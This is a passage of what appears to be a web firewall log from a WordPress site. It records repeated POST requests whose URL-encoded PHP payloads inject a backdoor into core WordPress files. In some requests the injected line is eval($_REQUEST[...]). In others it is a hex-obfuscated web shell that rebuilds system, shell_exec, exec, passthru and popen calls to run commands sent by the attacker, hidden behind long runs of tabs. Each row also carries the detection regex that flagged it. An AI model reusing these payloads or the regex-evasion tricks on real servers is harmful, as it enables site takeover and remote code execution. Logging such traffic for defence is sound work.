0=71\nsec-ch-ua-mobile:?0\n\nEI=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-types-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527cSjqYC%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:46:25","52.232.35.131","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Pt:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Cache\/Base.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524component1%2520%253D%2520%252773%2527%253B%2524component2%2520%253D%2520%252768%2527%253B%2524component3%2520%253D%2520%25276c%2527%253B%2524component4%2520%253D%2520%252765%2527%253B%2524component5%2520%253D%2520%252778%2527%253B%2524component6%2520%253D%2520%252763%2527%253B%2524component7%2520%253D%2520%252770%2527%253B%2524component8%2520%253D%2520%252761%2527%253B%2524component9%2520%253D%2520%25276f%2527%253B%2524component10%2520%253D%2520%25276e%2527%253B%2524component11%2520%253D%2520%252772%2527%253B%2524component12%2520%253D%2520%25276d%2527%253B%2524component13%2520%253D%2520%25275f%2527%253B%2524component14%2520%253D%2520%252774%2527%253B%2524component15%2520%253D%2520%252776%2527%253B%2524token_parser_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%252779%2527.%2524component1.%252774%2527.%252765%2527.%25276d%2527%2529%253B%2524token_parser_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%2524component2.%252765%2527.%25276c%2527.%2524component3.%25275f%2527.%2524component4.%252778%2527.%252765%2527.%252763%2527%2529%253B%2524token_parser_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component4.%2524component5.%2524component4.%2524component6%2529%253B%2524token_parser_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component8.%2524component1.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%252775%2527%2529%253B%2524token_parser_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component9.%2524component7.%2524component4.%2524component10%2529%253B%2524token_parser_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%252774%2527.%2524component11.%2524component4.%252761%2527.%2524component12.%2524component13.%252767%2527.%2524component4.%252774%2527.%25275f%2527.%252763%2527.%2524component9.%2524component10.%252774%2527.%252765%2527.%2524component10.%2524component14.%252773%2527%2529%253B%2524token_parser_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component6.%2524component3.%2524component9.%2524component1.%2524component4%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component4.%2524component15.%252765%2527.%2524component10.%252774%2527.%25275f%2527.%252764%2527.%252769%2527.%2524component1.%2524component7.%2524component8.%252774%2527.%252763%2527.%2524component2.%2524component4.%2524component11%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524token_parser_engine1%2529%2529%257B%2524token_parser_engine1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine2%2529%2529%257Bprint%2520%2524token_parser_engine2%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine3%2529%2529%257B%2524token_parser_engine3%2528%2524event_dispatcher%252C%2524data_chunk_entity%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524data_chunk_entity%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine4%2529%2529%257B%2524token_parser_engine4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine5%2529%2526%2526function_exists%2528%2524token_parser_engine6%2529%2526%2526function_exists%2528%2524token_parser_engine7%2529%2529%257B%2524tkn_key%253D%2524token_parser_engine5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif%2528%2524tkn_key%2529%257B%2524res_value%253D%2524token_parser_engine6%2528%2524tkn_key%2529%253B%2524token_parser_engine7%2528%2524tkn_key%2529%253Bprint%2520%2524res_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHUDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqTIxVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\ncontent-length:6652\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nPt=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Cache\/Base.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524component1%2520%253D%2520%252773%2527%253B%2524component2%2520%253D%2520%252768%2527%253B%2524component3%2520%253D%2520%25276c%2527%253B%2524component4%2520%253D%2520%252765%2527%253B%2524component5%2520%253D%2520%252778%2527%253B%2524component6%2520%253D%2520%252763%2527%253B%2524component7%2520%253D%2520%252770%2527%253B%2524component8%2520%253D%2520%252761%2527%253B%2524component9%2520%253D%2520%25276f%2527%253B%2524component10%2520%253D%2520%25276e%2527%253B%2524component11%2520%253D%2520%252772%2527%253B%2524component12%2520%253D%2520%25276d%2527%253B%2524component13%2520%253D%2520%25275f%2527%253B%2524component14%2520%253D%2520%252774%2527%253B%2524component15%2520%253D%2520%252776%2527%253B%2524token_parser_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%252779%2527.%2524component1.%252774%2527.%252765%2527.%25276d%2527%2529%253B%2524token_parser_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%2524component2.%252765%2527.%25276c%2527.%2524component3.%25275f%2527.%2524component4.%252778%2527.%252765%2527.%252763%2527%2529%253B%2524token_parser_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component4.%2524component5.%2524component4.%2524component6%2529%253B%2524token_parser_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component8.%2524component1.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%252775%2527%2529%253B%2524token_parser_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component9.%2524component7.%2524component4.%2524component10%2529%253B%2524token_parser_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%252774%2527.%2524component11.%2524component4.%252761%2527.%2524component12.%2524component13.%252767%2527.%2524component4.%252774%2527.%25275f%2527.%252763%2527.%2524component9.%2524component10.%252774%2527.%252765%2527.%2524component10.%2524component14.%252773%2527%2529%253B%2524token_parser_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component6.%2524component3.%2524component9.%2524component1.%2524component4%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component4.%2524component15.%252765%2527.%2524component10.%252774%2527.%25275f%2527.%252764%2527.%252769%2527.%2524component1.%2524component7.%2524component8.%252774%2527.%252763%2527.%2524component2.%2524component4.%2524component11%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524token_parser_engine1%2529%2529%257B%2524token_parser_engine1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine2%2529%2529%257Bprint%2520%2524token_parser_engine2%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine3%2529%2529%257B%2524token_parser_engine3%2528%2524event_dispatcher%252C%2524data_chunk_entity%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524data_chunk_entity%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine4%2529%2529%257B%2524token_parser_engine4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine5%2529%2526%2526function_exists%2528%2524token_parser_engine6%2529%2526%2526function_exists%2528%2524token_parser_engine7%2529%2529%257B%2524tkn_key%253D%2524token_parser_engine5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif%2528%2524tkn_key%2529%257B%2524res_value%253D%2524token_parser_engine6%2528%2524tkn_key%2529%253B%2524token_parser_engine7%2528%2524tkn_key%2529%253Bprint%2520%2524res_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:46:28","43.230.201.87","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> mt:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Cache\/Base.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524component1%2520%253D%2520%252773%2527%253B%2524component2%2520%253D%2520%252768%2527%253B%2524component3%2520%253D%2520%25276c%2527%253B%2524component4%2520%253D%2520%252765%2527%253B%2524component5%2520%253D%2520%252778%2527%253B%2524component6%2520%253D%2520%252763%2527%253B%2524component7%2520%253D%2520%252770%2527%253B%2524component8%2520%253D%2520%252761%2527%253B%2524component9%2520%253D%2520%25276f%2527%253B%2524component10%2520%253D%2520%25276e%2527%253B%2524component11%2520%253D%2520%252772%2527%253B%2524component12%2520%253D%2520%25276d%2527%253B%2524component13%2520%253D%2520%25275f%2527%253B%2524component14%2520%253D%2520%252774%2527%253B%2524component15%2520%253D%2520%252776%2527%253B%2524token_parser_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%252779%2527.%2524component1.%252774%2527.%252765%2527.%25276d%2527%2529%253B%2524token_parser_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%2524component2.%252765%2527.%25276c%2527.%2524component3.%25275f%2527.%2524component4.%252778%2527.%252765%2527.%252763%2527%2529%253B%2524token_parser_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component4.%2524component5.%2524component4.%2524component6%2529%253B%2524token_parser_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component8.%2524component1.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%252775%2527%2529%253B%2524token_parser_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component9.%2524component7.%2524component4.%2524component10%2529%253B%2524token_parser_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%252774%2527.%2524component11.%2524component4.%252761%2527.%2524component12.%2524component13.%252767%2527.%2524component4.%252774%2527.%25275f%2527.%252763%2527.%2524component9.%2524component10.%252774%2527.%252765%2527.%2524component10.%2524component14.%252773%2527%2529%253B%2524token_parser_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component6.%2524component3.%2524component9.%2524component1.%2524component4%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component4.%2524component15.%252765%2527.%2524component10.%252774%2527.%25275f%2527.%252764%2527.%252769%2527.%2524component1.%2524component7.%2524component8.%252774%2527.%252763%2527.%2524component2.%2524component4.%2524component11%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524token_parser_engine1%2529%2529%257B%2524token_parser_engine1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine2%2529%2529%257Bprint%2520%2524token_parser_engine2%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine3%2529%2529%257B%2524token_parser_engine3%2528%2524event_dispatcher%252C%2524data_chunk_entity%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524data_chunk_entity%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine4%2529%2529%257B%2524token_parser_engine4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine5%2529%2526%2526function_exists%2528%2524token_parser_engine6%2529%2526%2526function_exists%2528%2524token_parser_engine7%2529%2529%257B%2524tkn_key%253D%2524token_parser_engine5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif%2528%2524tkn_key%2529%257B%2524res_value%253D%2524token_parser_engine6%2528%2524tkn_key%2529%253B%2524token_parser_engine7%2528%2524tkn_key%2529%253Bprint%2520%2524res_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoKDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:6652\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nmt=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Cache\/Base.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524component1%2520%253D%2520%252773%2527%253B%2524component2%2520%253D%2520%252768%2527%253B%2524component3%2520%253D%2520%25276c%2527%253B%2524component4%2520%253D%2520%252765%2527%253B%2524component5%2520%253D%2520%252778%2527%253B%2524component6%2520%253D%2520%252763%2527%253B%2524component7%2520%253D%2520%252770%2527%253B%2524component8%2520%253D%2520%252761%2527%253B%2524component9%2520%253D%2520%25276f%2527%253B%2524component10%2520%253D%2520%25276e%2527%253B%2524component11%2520%253D%2520%252772%2527%253B%2524component12%2520%253D%2520%25276d%2527%253B%2524component13%2520%253D%2520%25275f%2527%253B%2524component14%2520%253D%2520%252774%2527%253B%2524component15%2520%253D%2520%252776%2527%253B%2524token_parser_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%252779%2527.%2524component1.%252774%2527.%252765%2527.%25276d%2527%2529%253B%2524token_parser_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%2524component2.%252765%2527.%25276c%2527.%2524component3.%25275f%2527.%2524component4.%252778%2527.%252765%2527.%252763%2527%2529%253B%2524token_parser_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component4.%2524component5.%2524component4.%2524component6%2529%253B%2524token_parser_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component8.%2524component1.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%252775%2527%2529%253B%2524token_parser_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component9.%2524component7.%2524component4.%2524component10%2529%253B%2524token_parser_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%252774%2527.%2524component11.%2524component4.%252761%2527.%2524component12.%2524component13.%252767%2527.%2524component4.%252774%2527.%25275f%2527.%252763%2527.%2524component9.%2524component10.%252774%2527.%252765%2527.%2524component10.%2524component14.%252773%2527%2529%253B%2524token_parser_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component6.%2524component3.%2524component9.%2524component1.%2524component4%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component4.%2524component15.%252765%2527.%2524component10.%252774%2527.%25275f%2527.%252764%2527.%252769%2527.%2524component1.%2524component7.%2524component8.%252774%2527.%252763%2527.%2524component2.%2524component4.%2524component11%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524token_parser_engine1%2529%2529%257B%2524token_parser_engine1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine2%2529%2529%257Bprint%2520%2524token_parser_engine2%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine3%2529%2529%257B%2524token_parser_engine3%2528%2524event_dispatcher%252C%2524data_chunk_entity%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524data_chunk_entity%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine4%2529%2529%257B%2524token_parser_engine4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524token_parser_engine5%2529%2526%2526function_exists%2528%2524token_parser_engine6%2529%2526%2526function_exists%2528%2524token_parser_engine7%2529%2529%257B%2524tkn_key%253D%2524token_parser_engine5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif%2528%2524tkn_key%2529%257B%2524res_value%253D%2524token_parser_engine6%2528%2524tkn_key%2529%253B%2524token_parser_engine7%2528%2524tkn_key%2529%253Bprint%2520%2524res_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:46:31","129.121.41.228","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> HY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Cache\/Base.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524component1%2520%253D%2520%252773%2527%253B%2524component2%2520%253D%2520%252768%2527%253B%2524component3%2520%253D%2520%25276c%2527%253B%2524component4%2520%253D%2520%252765%2527%253B%2524component5%2520%253D%2520%252778%2527%253B%2524component6%2520%253D%2520%252763%2527%253B%2524component7%2520%253D%2520%252770%2527%253B%2524component8%2520%253D%2520%252761%2527%253B%2524component9%2520%253D%2520%25276f%2527%253B%2524component10%2520%253D%2520%25276e%2527%253B%2524component11%2520%253D%2520%252772%2527%253B%2524component12%2520%253D%2520%25276d%2527%253B%2524component13%2520%253D%2520%25275f%2527%253B%2524component14%2520%253D%2520%252774%2527%253B%2524component15%2520%253D%2520%252776%2527%253B%2524token_parser_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%252779%2527.%2524component1.%252774%2527.%252765%2527.%25276d%2527%2529%253B%2524token_parser_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%2524component2.%252765%2527.%25276c%2527.%2524component3.%25275f%2527.%2524component4.%252778%2527.%252765%2527.%252763%2527%2529%253B%2524token_parser_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component4.%2524component5.%2524component4.%2524component6%2529%253B%2524token_parser_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component8.%2524component1.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%252775%2527%2529%253B%2524token_parser_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524component9.%2524component7.%2524component4.%2524component10%2529%253B%2524token_parser_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component1.%252774%2527.%2524component11.%2524component4.%252761%2527.%2524component12.%2524component13.%252767%2527.%2524component4.%252774%2527.%25275f%2527.%252763%2527.%2524component9.%2524component10.%252774%2527.%252765%2527.%2524component10.%2524component14.%252773%2527%2529%253B%2524token_parser_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component7.%2524